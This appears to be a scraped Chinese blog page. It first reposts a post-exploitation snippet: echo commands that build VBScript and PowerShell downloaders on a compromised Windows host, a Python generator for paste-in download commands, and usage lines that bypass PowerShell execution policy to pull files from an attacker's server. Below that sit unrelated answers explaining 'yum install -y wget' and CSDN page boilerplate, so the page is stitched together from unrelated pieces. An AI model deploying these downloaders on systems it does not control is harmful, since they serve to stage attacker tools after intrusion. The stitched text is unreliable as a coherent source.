wget.vbs & wget.ps1

Wget-like tool for file transfer when do post exploitation.

CODE
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET",strURL,False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
echo $url = $args[0] > wget.ps1
echo $output = "$($pwd)\$($args[1])" >> wget.ps1
echo $wc = New-Object System.Net.WebClient >> wget.ps1
echo $wc.DownloadFile($url, $output) >> wget.ps1
#! /usr/bin/python

import sys

if len(sys.argv) !=3:
    print "Usage: gen_ps1_wget.py <http_server> <file_to_download>"
    sys.exit(0)
print "\n"
print "Copy and paste the following in to the host:"
print "\n"
print "echo $storageDir = $pwd > wget.ps1"
print "echo $webclient = New-Object System.Net.WebClient >> wget.ps1"
print "echo $url = 'http://%s/%s' >> wget.ps1"%(sys.argv[1],sys.argv[2])
print "echo $file = '%s' >> wget.ps1" % sys.argv[2]
print "echo $webclient.DownloadFile($url,$file) >> wget.ps1"
print "\n"

USAGE

cscript wget.vbs http://x.x.x.x filename
powershell.exe -ExecutionPolicy bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1 http://x.x.x.x filename

from github.com

转载于:https://www.cnblogs.com/xiaoxiaoleo/p/8408571.html

### 回答1: 这是一条Linux命令,意思是安装wget并下载一个名为install.sh的文件,然后运行该文件进行安装。具体操作为: 1. 打开终端或SSH客户端,登录到Linux系统。 2. 输入命令:yum install -y wget,安装wget工具。 3. 输入命令:wget -o install.sh http://download.bt.cn/install/install_6..sh,下载install.sh文件。 4. 输入命令:sh install.sh,运行install.sh文件进行安装。 注意:该命令需要在具有管理员权限的账户下执行。 ### 回答2: yum install -y wget是什么意思? yum是基于RPM包管理的一个软件包管理工具,可以很方便地管理各种软件包。而wget是一个Linux/UNIX系统中的一个基于HTTP、HTTPS和FTP下载协议的工具,可以帮助你很方便地下载文件。通过yum install -y wget的方式,你可以使用yum来安装wget,这样你就可以使用wget来下载各种需要的文件。 为什么要使用yum install -y wget? 在Linux系统中,有很多工具和软件需要使用wget这个下载工具来下载。如果你不安装wget,则无法使用它来下载文件,这样你就会有很多操作上的限制。而yum install -y wget命令可以在你的系统中快速安装wget,帮助你更快捷地完成各种下载任务。另外,使用-y参数可以自动应答,如果需要安装的软件包不存在,也不需要再手动确认是否安装,直接自动安装。 怎么使用yum install -y wget? 使用yum install -y wget非常简单,只需要在终端中输入这个命令,就可以安装wget。下面是具体的步骤: 1. 打开终端(Ctrl + Alt + T快捷键或在应用程序中搜索Terminal)。 2. 输入以下命令,按下"Enter"键:yum install -y wget 3. 安装过程中,你需要输入"y"来确认安装。 4. 安装完成后,你可以在终端中输入wget命令,以测试wget是否可用。 总的来说,yum install -y wget是一个非常简单的命令,它可以帮助你更方便地管理软件包,并且快速安装wget,让你可以更高效地完成各种任务。 ### 回答3: yum install -y wget是一个Linux命令,用于在Linux系统上安装wget软件包。wget是一个非常有用的命令行工具,可用于从Web服务器下载文件并在系统上创建本地副本。 通过yum install -y wget命令,用户可以轻松地在Linux系统上安装wget软件包。该命令中的“yum”是一个包管理器,可以使用户在不必去下载源代码、解压缩和编译的情况下,轻松地从一个特定的软件存储库中下载和安装软件包。 在执行yum install -y wget命令时,“-y”是一个选项,表示在没有提示用户的情况下自动安装。这意味着用户可以轻松地安装wget,而不必手动确认每个步骤。 安装wget后,用户可以通过命令行使用wget来下载文件。例如,要从Web服务器下载名为“file.txt”的文件,用户只需执行wget http://www.example.com/file.txt。这将在系统上创建名为“file.txt”的本地副本。wget还可以用于批量下载文件,并支持断点续传。 总而言之,yum install -y wget是一种快速方便,无需手动下载源代码和编译的方式,在Linux系统上安装wget软件包,让用户可以轻松地从Web服务器下载文件并在系统上创建本地副本。它是在Linux系统上执行网络文件下载任务的有用工具,并且在大多数情况下,它是系统管理员和开发人员在工作中必不可少的工具之一。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值